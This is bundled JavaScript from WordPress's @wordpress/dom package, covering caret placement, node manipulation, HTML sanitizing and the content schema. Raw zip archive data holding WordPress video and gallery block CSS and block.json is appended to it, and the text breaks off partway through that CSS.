  const containerRect = container.getBoundingClientRect();

  // To check if a selection is at the edge, we insert a test selection at the
  // edge of the container and check if the selections have the same vertical
  // or horizontal position. If they do, the selection is at the edge.
  // This method proves to be better than a DOM-based calculation for the
  // horizontal edge, since it ignores empty textnodes and a trailing line
  // break element. In other words, we need to check visual positioning, not
  // DOM positioning.
  // It also proves better than using the computed style for the vertical
  // edge, because we cannot know the padding and line height reliably in
  // pixels. `getComputedStyle` may return a value with different units.
  const x = isReverseDir ? containerRect.left + 1 : containerRect.right - 1;
  const y = isReverse ? containerRect.top + 1 : containerRect.bottom - 1;
  const testRange = scrollIfNoRange(container, isReverse, () => hiddenCaretRangeFromPoint(ownerDocument, x, y, container));
  if (!testRange) {
    return false;
  }
  const testRect = getRectangleFromRange(testRange);
  if (!testRect) {
    return false;
  }
  const verticalSide = isReverse ? 'top' : 'bottom';
  const horizontalSide = isReverseDir ? 'left' : 'right';
  const verticalDiff = testRect[verticalSide] - rangeRect[verticalSide];
  const horizontalDiff = testRect[horizontalSide] - collapsedRangeRect[horizontalSide];

  // Allow the position to be 1px off.
  const hasVerticalDiff = Math.abs(verticalDiff) <= 1;
  const hasHorizontalDiff = Math.abs(horizontalDiff) <= 1;
  return onlyVertical ? hasVerticalDiff : hasVerticalDiff && hasHorizontalDiff;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-horizontal-edge.js
/**
 * Internal dependencies
 */


/**
 * Check whether the selection is horizontally at the edge of the container.
 *
 * @param {HTMLElement} container Focusable element.
 * @param {boolean}     isReverse Set to true to check left, false for right.
 *
 * @return {boolean} True if at the horizontal edge, false if not.
 */
function isHorizontalEdge(container, isReverse) {
  return isEdge(container, isReverse);
}

;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// ./node_modules/@wordpress/dom/build-module/dom/is-number-input.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/* eslint-disable jsdoc/valid-types */
/**
 * Check whether the given element is an input field of type number.
 *
 * @param {Node} node The HTML node.
 *
 * @return {node is HTMLInputElement} True if the node is number input.
 */
function isNumberInput(node) {
  external_wp_deprecated_default()('wp.dom.isNumberInput', {
    since: '6.1',
    version: '6.5'
  });
  /* eslint-enable jsdoc/valid-types */
  return isHTMLInputElement(node) && node.type === 'number' && !isNaN(node.valueAsNumber);
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-vertical-edge.js
/**
 * Internal dependencies
 */


/**
 * Check whether the selection is vertically at the edge of the container.
 *
 * @param {HTMLElement} container Focusable element.
 * @param {boolean}     isReverse Set to true to check top, false for bottom.
 *
 * @return {boolean} True if at the vertical edge, false if not.
 */
function isVerticalEdge(container, isReverse) {
  return isEdge(container, isReverse, true);
}

;// ./node_modules/@wordpress/dom/build-module/dom/place-caret-at-edge.js
/**
 * Internal dependencies
 */






/**
 * Gets the range to place.
 *
 * @param {HTMLElement}      container Focusable element.
 * @param {boolean}          isReverse True for end, false for start.
 * @param {number|undefined} x         X coordinate to vertically position.
 *
 * @return {Range|null} The range to place.
 */
function getRange(container, isReverse, x) {
  const {
    ownerDocument
  } = container;
  // In the case of RTL scripts, the horizontal edge is at the opposite side.
  const isReverseDir = isRTL(container) ? !isReverse : isReverse;
  const containerRect = container.getBoundingClientRect();
  // When placing at the end (isReverse), find the closest range to the bottom
  // right corner. When placing at the start, to the top left corner.
  // Ensure x is defined and within the container's boundaries. When it's
  // exactly at the boundary, it's not considered within the boundaries.
  if (x === undefined) {
    x = isReverse ? containerRect.right - 1 : containerRect.left + 1;
  } else if (x <= containerRect.left) {
    x = containerRect.left + 1;
  } else if (x >= containerRect.right) {
    x = containerRect.right - 1;
  }
  const y = isReverseDir ? containerRect.bottom - 1 : containerRect.top + 1;
  return hiddenCaretRangeFromPoint(ownerDocument, x, y, container);
}

/**
 * Places the caret at start or end of a given element.
 *
 * @param {HTMLElement}      container Focusable element.
 * @param {boolean}          isReverse True for end, false for start.
 * @param {number|undefined} x         X coordinate to vertically position.
 */
function placeCaretAtEdge(container, isReverse, x) {
  if (!container) {
    return;
  }
  container.focus();
  if (isInputOrTextArea(container)) {
    // The element may not support selection setting.
    if (typeof container.selectionStart !== 'number') {
      return;
    }
    if (isReverse) {
      container.selectionStart = container.value.length;
      container.selectionEnd = container.value.length;
    } else {
      container.selectionStart = 0;
      container.selectionEnd = 0;
    }
    return;
  }
  if (!container.isContentEditable) {
    return;
  }
  const range = scrollIfNoRange(container, isReverse, () => getRange(container, isReverse, x));
  if (!range) {
    return;
  }
  const {
    ownerDocument
  } = container;
  const {
    defaultView
  } = ownerDocument;
  assertIsDefined(defaultView, 'defaultView');
  const selection = defaultView.getSelection();
  assertIsDefined(selection, 'selection');
  selection.removeAllRanges();
  selection.addRange(range);
}

;// ./node_modules/@wordpress/dom/build-module/dom/place-caret-at-horizontal-edge.js
/**
 * Internal dependencies
 */


/**
 * Places the caret at start or end of a given element.
 *
 * @param {HTMLElement} container Focusable element.
 * @param {boolean}     isReverse True for end, false for start.
 */
function placeCaretAtHorizontalEdge(container, isReverse) {
  return placeCaretAtEdge(container, isReverse, undefined);
}

;// ./node_modules/@wordpress/dom/build-module/dom/place-caret-at-vertical-edge.js
/**
 * Internal dependencies
 */


/**
 * Places the caret at the top or bottom of a given element.
 *
 * @param {HTMLElement} container Focusable element.
 * @param {boolean}     isReverse True for bottom, false for top.
 * @param {DOMRect}     [rect]    The rectangle to position the caret with.
 */
function placeCaretAtVerticalEdge(container, isReverse, rect) {
  return placeCaretAtEdge(container, isReverse, rect?.left);
}

;// ./node_modules/@wordpress/dom/build-module/dom/insert-after.js
/**
 * Internal dependencies
 */


/**
 * Given two DOM nodes, inserts the former in the DOM as the next sibling of
 * the latter.
 *
 * @param {Node} newNode       Node to be inserted.
 * @param {Node} referenceNode Node after which to perform the insertion.
 * @return {void}
 */
function insertAfter(newNode, referenceNode) {
  assertIsDefined(referenceNode.parentNode, 'referenceNode.parentNode');
  referenceNode.parentNode.insertBefore(newNode, referenceNode.nextSibling);
}

;// ./node_modules/@wordpress/dom/build-module/dom/remove.js
/**
 * Internal dependencies
 */


/**
 * Given a DOM node, removes it from the DOM.
 *
 * @param {Node} node Node to be removed.
 * @return {void}
 */
function remove(node) {
  assertIsDefined(node.parentNode, 'node.parentNode');
  node.parentNode.removeChild(node);
}

;// ./node_modules/@wordpress/dom/build-module/dom/replace.js
/**
 * Internal dependencies
 */




/**
 * Given two DOM nodes, replaces the former with the latter in the DOM.
 *
 * @param {Element} processedNode Node to be removed.
 * @param {Element} newNode       Node to be inserted in its place.
 * @return {void}
 */
function replace(processedNode, newNode) {
  assertIsDefined(processedNode.parentNode, 'processedNode.parentNode');
  insertAfter(newNode, processedNode.parentNode);
  remove(processedNode);
}

;// ./node_modules/@wordpress/dom/build-module/dom/unwrap.js
/**
 * Internal dependencies
 */


/**
 * Unwrap the given node. This means any child nodes are moved to the parent.
 *
 * @param {Node} node The node to unwrap.
 *
 * @return {void}
 */
function unwrap(node) {
  const parent = node.parentNode;
  assertIsDefined(parent, 'node.parentNode');
  while (node.firstChild) {
    parent.insertBefore(node.firstChild, node);
  }
  parent.removeChild(node);
}

;// ./node_modules/@wordpress/dom/build-module/dom/replace-tag.js
/**
 * Internal dependencies
 */


/**
 * Replaces the given node with a new node with the given tag name.
 *
 * @param {Element} node    The node to replace
 * @param {string}  tagName The new tag name.
 *
 * @return {Element} The new node.
 */
function replaceTag(node, tagName) {
  const newNode = node.ownerDocument.createElement(tagName);
  while (node.firstChild) {
    newNode.appendChild(node.firstChild);
  }
  assertIsDefined(node.parentNode, 'node.parentNode');
  node.parentNode.replaceChild(newNode, node);
  return newNode;
}

;// ./node_modules/@wordpress/dom/build-module/dom/wrap.js
/**
 * Internal dependencies
 */


/**
 * Wraps the given node with a new node with the given tag name.
 *
 * @param {Element} newNode       The node to insert.
 * @param {Element} referenceNode The node to wrap.
 */
function wrap(newNode, referenceNode) {
  assertIsDefined(referenceNode.parentNode, 'referenceNode.parentNode');
  referenceNode.parentNode.insertBefore(newNode, referenceNode);
  newNode.appendChild(referenceNode);
}

;// ./node_modules/@wordpress/dom/build-module/dom/safe-html.js
/**
 * Internal dependencies
 */


/**
 * Strips scripts and on* attributes from HTML.
 *
 * @param {string} html HTML to sanitize.
 *
 * @return {string} The sanitized HTML.
 */
function safeHTML(html) {
  const {
    body
  } = document.implementation.createHTMLDocument('');
  body.innerHTML = html;
  const elements = body.getElementsByTagName('*');
  let elementIndex = elements.length;
  while (elementIndex--) {
    const element = elements[elementIndex];
    if (element.tagName === 'SCRIPT') {
      remove(element);
    } else {
      let attributeIndex = element.attributes.length;
      while (attributeIndex--) {
        const {
          name: key
        } = element.attributes[attributeIndex];
        if (key.startsWith('on')) {
          element.removeAttribute(key);
        }
      }
    }
  }
  return body.innerHTML;
}

;// ./node_modules/@wordpress/dom/build-module/dom/strip-html.js
/**
 * Internal dependencies
 */


/**
 * Removes any HTML tags from the provided string.
 *
 * @param {string} html The string containing html.
 *
 * @return {string} The text content with any html removed.
 */
function stripHTML(html) {
  // Remove any script tags or on* attributes otherwise their *contents* will be left
  // in place following removal of HTML tags.
  html = safeHTML(html);
  const doc = document.implementation.createHTMLDocument('');
  doc.body.innerHTML = html;
  return doc.body.textContent || '';
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-empty.js
/**
 * Recursively checks if an element is empty. An element is not empty if it
 * contains text or contains elements with attributes such as images.
 *
 * @param {Element} element The element to check.
 *
 * @return {boolean} Whether or not the element is empty.
 */
function isEmpty(element) {
  switch (element.nodeType) {
    case element.TEXT_NODE:
      // We cannot use \s since it includes special spaces which we want
      // to preserve.
      return /^[ \f\n\r\t\v\u00a0]*$/.test(element.nodeValue || '');
    case element.ELEMENT_NODE:
      if (element.hasAttributes()) {
        return false;
      } else if (!element.hasChildNodes()) {
        return true;
      }
      return /** @type {Element[]} */Array.from(element.childNodes).every(isEmpty);
    default:
      return true;
  }
}

;// ./node_modules/@wordpress/dom/build-module/phrasing-content.js
/**
 * All phrasing content elements.
 *
 * @see https://www.w3.org/TR/2011/WD-html5-20110525/content-models.html#phrasing-content-0
 */

/**
 * @typedef {Record<string,SemanticElementDefinition>} ContentSchema
 */

/**
 * @typedef SemanticElementDefinition
 * @property {string[]}      [attributes] Content attributes
 * @property {ContentSchema} [children]   Content attributes
 */

/**
 * All text-level semantic elements.
 *
 * @see https://html.spec.whatwg.org/multipage/text-level-semantics.html
 *
 * @type {ContentSchema}
 */
const textContentSchema = {
  strong: {},
  em: {},
  s: {},
  del: {},
  ins: {},
  a: {
    attributes: ['href', 'target', 'rel', 'id']
  },
  code: {},
  abbr: {
    attributes: ['title']
  },
  sub: {},
  sup: {},
  br: {},
  small: {},
  // To do: fix blockquote.
  // cite: {},
  q: {
    attributes: ['cite']
  },
  dfn: {
    attributes: ['title']
  },
  data: {
    attributes: ['value']
  },
  time: {
    attributes: ['datetime']
  },
  var: {},
  samp: {},
  kbd: {},
  i: {},
  b: {},
  u: {},
  mark: {},
  ruby: {},
  rt: {},
  rp: {},
  bdi: {
    attributes: ['dir']
  },
  bdo: {
    attributes: ['dir']
  },
  wbr: {},
  '#text': {}
};

// Recursion is needed.
// Possible: strong > em > strong.
// Impossible: strong > strong.
const excludedElements = ['#text', 'br'];
Object.keys(textContentSchema).filter(element => !excludedElements.includes(element)).forEach(tag => {
  const {
    [tag]: removedTag,
    ...restSchema
  } = textContentSchema;
  textContentSchema[tag].children = restSchema;
});

/**
 * Embedded content elements.
 *
 * @see https://www.w3.org/TR/2011/WD-html5-20110525/content-models.html#embedded-content-0
 *
 * @type {ContentSchema}
 */
const embeddedContentSchema = {
  audio: {
    attributes: ['src', 'preload', 'autoplay', 'mediagroup', 'loop', 'muted']
  },
  canvas: {
    attributes: ['width', 'height']
  },
  embed: {
    attributes: ['src', 'type', 'width', 'height']
  },
  img: {
    attributes: ['alt', 'src', 'srcset', 'usemap', 'ismap', 'width', 'height']
  },
  object: {
    attributes: ['data', 'type', 'name', 'usemap', 'form', 'width', 'height']
  },
  video: {
    attributes: ['src', 'poster', 'preload', 'playsinline', 'autoplay', 'mediagroup', 'loop', 'muted', 'controls', 'width', 'height']
  }
};

/**
 * Phrasing content elements.
 *
 * @see https://www.w3.org/TR/2011/WD-html5-20110525/content-models.html#phrasing-content-0
 */
const phrasingContentSchema = {
  ...textContentSchema,
  ...embeddedContentSchema
};

/**
 * Get schema of possible paths for phrasing content.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content
 *
 * @param {string} [context] Set to "paste" to exclude invisible elements and
 *                           sensitive data.
 *
 * @return {Partial<ContentSchema>} Schema.
 */
function getPhrasingContentSchema(context) {
  if (context !== 'paste') {
    return phrasingContentSchema;
  }

  /**
   * @type {Partial<ContentSchema>}
   */
  const {
    u,
    // Used to mark misspelling. Shouldn't be pasted.
    abbr,
    // Invisible.
    data,
    // Invisible.
    time,
    // Invisible.
    wbr,
    // Invisible.
    bdi,
    // Invisible.
    bdo,
    // Invisible.
    ...remainingContentSchema
  } = {
    ...phrasingContentSchema,
    // We shouldn't paste potentially sensitive information which is not
    // visible to the user when pasted, so strip the attributes.
    ins: {
      children: phrasingContentSchema.ins.children
    },
    del: {
      children: phrasingContentSchema.del.children
    }
  };
  return remainingContentSchema;
}

/**
 * Find out whether or not the given node is phrasing content.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content
 *
 * @param {Node} node The node to test.
 *
 * @return {boolean} True if phrasing content, false if not.
 */
function isPhrasingContent(node) {
  const tag = node.nodeName.toLowerCase();
  return getPhrasingContentSchema().hasOwnProperty(tag) || tag === 'span';
}

/**
 * @param {Node} node
 * @return {boolean} Node is text content
 */
function isTextContent(node) {
  const tag = node.nodeName.toLowerCase();
  return textContentSchema.hasOwnProperty(tag) || tag === 'span';
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-element.js
/* eslint-disable jsdoc/valid-types */
/**
 * @param {Node | null | undefined} node
 * @return {node is Element} True if node is an Element node
 */
function isElement(node) {
  /* eslint-enable jsdoc/valid-types */
  return !!node && node.nodeType === node.ELEMENT_NODE;
}

;// ./node_modules/@wordpress/dom/build-module/dom/clean-node-list.js
/**
 * Internal dependencies
 */






const noop = () => {};

/* eslint-disable jsdoc/valid-types */
/**
 * @typedef SchemaItem
 * @property {string[]}                            [attributes] Attributes.
 * @property {(string | RegExp)[]}                 [classes]    Classnames or RegExp to test against.
 * @property {'*' | { [tag: string]: SchemaItem }} [children]   Child schemas.
 * @property {string[]}                            [require]    Selectors to test required children against. Leave empty or undefined if there are no requirements.
 * @property {boolean}                             allowEmpty   Whether to allow nodes without children.
 * @property {(node: Node) => boolean}             [isMatch]    Function to test whether a node is a match. If left undefined any node will be assumed to match.
 */

/** @typedef {{ [tag: string]: SchemaItem }} Schema */
/* eslint-enable jsdoc/valid-types */

/**
 * Given a schema, unwraps or removes nodes, attributes and classes on a node
 * list.
 *
 * @param {NodeList} nodeList The nodeList to filter.
 * @param {Document} doc      The document of the nodeList.
 * @param {Schema}   schema   An array of functions that can mutate with the provided node.
 * @param {boolean}  inline   Whether to clean for inline mode.
 */
function cleanNodeList(nodeList, doc, schema, inline) {
  Array.from(nodeList).forEach((/** @type {Node & { nextElementSibling?: unknown }} */node) => {
    const tag = node.nodeName.toLowerCase();

    // It's a valid child, if the tag exists in the schema without an isMatch
    // function, or with an isMatch function that matches the node.
    if (schema.hasOwnProperty(tag) && (!schema[tag].isMatch || schema[tag].isMatch?.(node))) {
      if (isElement(node)) {
        const {
          attributes = [],
          classes = [],
          children,
          require = [],
          allowEmpty
        } = schema[tag];

        // If the node is empty and it's supposed to have children,
        // remove the node.
        if (children && !allowEmpty && isEmpty(node)) {
          remove(node);
          return;
        }
        if (node.hasAttributes()) {
          // Strip invalid attributes.
          Array.from(node.attributes).forEach(({
            name
          }) => {
            if (name !== 'class' && !attributes.includes(name)) {
              node.removeAttribute(name);
            }
          });

          // Strip invalid classes.
          // In jsdom-jscore, 'node.classList' can be undefined.
          // TODO: Explore patching this in jsdom-jscore.
          if (node.classList && node.classList.length) {
            const mattchers = classes.map(item => {
              if (item === '*') {
                // Keep all classes.
                return () => true;
              } else if (typeof item === 'string') {
                return (/** @type {string} */className) => className === item;
              } else if (item instanceof RegExp) {
                return (/** @type {string} */className) => item.test(className);
              }
              return noop;
            });
            Array.from(node.classList).forEach(name => {
              if (!mattchers.some(isMatch => isMatch(name))) {
                node.classList.remove(name);
              }
            });
            if (!node.classList.length) {
              node.removeAttribute('class');
            }
          }
        }
        if (node.hasChildNodes()) {
          // Do not filter any content.
          if (children === '*') {
            return;
          }

          // Continue if the node is supposed to have children.
          if (children) {
            // If a parent requires certain children, but it does
            // not have them, drop the parent and continue.
            if (require.length && !node.querySelector(require.join(','))) {
              cleanNodeList(node.childNodes, doc, schema, inline);
              unwrap(node);
              // If the node is at the top, phrasing content, and
              // contains children that are block content, unwrap
              // the node because it is invalid.
            } else if (node.parentNode && node.parentNode.nodeName === 'BODY' && isPhrasingContent(node)) {
              cleanNodeList(node.childNodes, doc, schema, inline);
              if (Array.from(node.childNodes).some(child => !isPhrasingContent(child))) {
                unwrap(node);
              }
            } else {
              cleanNodeList(node.childNodes, doc, children, inline);
            }
            // Remove children if the node is not supposed to have any.
          } else {
            while (node.firstChild) {
              remove(node.firstChild);
            }
          }
        }
      }
      // Invalid child. Continue with schema at the same place and unwrap.
    } else {
      cleanNodeList(node.childNodes, doc, schema, inline);

      // For inline mode, insert a line break when unwrapping nodes that
      // are not phrasing content.
      if (inline && !isPhrasingContent(node) && node.nextElementSibling) {
        insertAfter(doc.createElement('br'), node);
      }
      unwrap(node);
    }
  });
}

;// ./node_modules/@wordpress/dom/build-module/dom/remove-invalid-html.js
/**
 * Internal dependencies
 */


/**
 * Given a schema, unwraps or removes nodes, attributes and classes on HTML.
 *
 * @param {string}                             HTML   The HTML to clean up.
 * @param {import('./clean-node-list').Schema} schema Schema for the HTML.
 * @param {boolean}                            inline Whether to clean for inline mode.
 *
 * @return {string} The cleaned up HTML.
 */
function removeInvalidHTML(HTML, schema, inline) {
  const doc = document.implementation.createHTMLDocument('');
  doc.body.innerHTML = HTML;
  cleanNodeList(doc.body.childNodes, doc, schema, inline);
  return doc.body.innerHTML;
}

;// ./node_modules/@wordpress/dom/build-module/dom/index.js




























;// ./node_modules/@wordpress/dom/build-module/data-transfer.js
/**
 * Gets all files from a DataTransfer object.
 *
 * @param {DataTransfer} dataTransfer DataTransfer object to inspect.
 *
 * @return {File[]} An array containing all files.
 */
function getFilesFromDataTransfer(dataTransfer) {
  const files = Array.from(dataTransfer.files);
  Array.from(dataTransfer.items).forEach(item => {
    const file = item.getAsFile();
    if (file && !files.find(({
      name,
      type,
      size
    }) => name === file.name && type === file.type && size === file.size)) {
      files.push(file);
    }
  });
  return files;
}

;// ./node_modules/@wordpress/dom/build-module/index.js
/**
 * Internal dependencies
 */



/**
 * Object grouping `focusable` and `tabbable` utils
 * under the keys with the same name.
 */
const build_module_focus = {
  focusable: focusable_namespaceObject,
  tabbable: tabbable_namespaceObject
};




(window.wp = window.wp || {}).dom = __webpack_exports__;
/******/ })()
;14338/video.zip000064400000024646151024420100007061 0ustar00PK�[d[�mgQ��editor-rtl.min.cssnu�[���.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}PK�[d[����
theme-rtl.cssnu�[���.wp-block-video :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}PK�[d[��ذ�theme-rtl.min.cssnu�[���.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}PK�[d[��ذ�
theme.min.cssnu�[���.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}PK�[d[����	theme.cssnu�[���.wp-block-video :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}PK�[d[�e�style-rtl.min.cssnu�[���.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}PK�[d[�<]		editor-rtl.cssnu�[���.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.editor-video-poster-control .components-button{
  margin-left:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-right:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__tracks-informative-message{
  padding:8px;
}
.block-library-video-tracks-editor__tracks-informative-message-description{
  margin-bottom:0;
}PK�[d[�e�
style.min.cssnu�[���.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}PK�[d[�5�p
editor.cssnu�[���.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.editor-video-poster-control .components-button{
  margin-right:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-left:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__tracks-informative-message{
  padding:8px;
}
.block-library-video-tracks-editor__tracks-informative-message-description{
  margin-bottom:0;
}PK�[d[G!Cj��
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/video",
	"title": "Video",
	"category": "media",
	"description": "Embed a video from your media library or upload a new one.",
	"keywords": [ "movie" ],
	"textdomain": "default",
	"attributes": {
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "autoplay"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"controls": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "controls",
			"default": true
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "loop"
		},
		"muted": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "muted"
		},
		"poster": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "poster"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "preload",
			"default": "metadata"
		},
		"blob": {
			"type": "string",
			"role": "local"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "src",
			"role": "content"
		},
		"playsInline": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "playsinline"
		},
		"tracks": {
			"role": "content",
			"type": "array",
			"items": {
				"type": "object"
			},
			"default": []
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-video-editor",
	"style": "wp-block-video"
}
PK�[d[ovqBB
style-rtl.cssnu�[���.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}PK�[d[ovqBB	style.cssnu�[���.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}PK�[d[����editor.min.cssnu�[���.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}PK�[d[�mgQ��editor-rtl.min.cssnu�[���PK�[d[����
�theme-rtl.cssnu�[���PK�[d[��ذ��theme-rtl.min.cssnu�[���PK�[d[��ذ�
�theme.min.cssnu�[���PK�[d[����	�theme.cssnu�[���PK�[d[�e��style-rtl.min.cssnu�[���PK�[d[�<]		
editor-rtl.cssnu�[���PK�[d[�e�
]style.min.cssnu�[���PK�[d[�5�p
�editor.cssnu�[���PK�[d[G!Cj��
�block.jsonnu�[���PK�[d[ovqBB
�style-rtl.cssnu�[���PK�[d[ovqBB	Wstyle.cssnu�[���PK�[d[����� editor.min.cssnu�[���PK

��%14338/gallery.zip000064400000234616151024420100007412 0ustar00PK\d[k]r��editor-rtl.min.cssnu�[���:root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 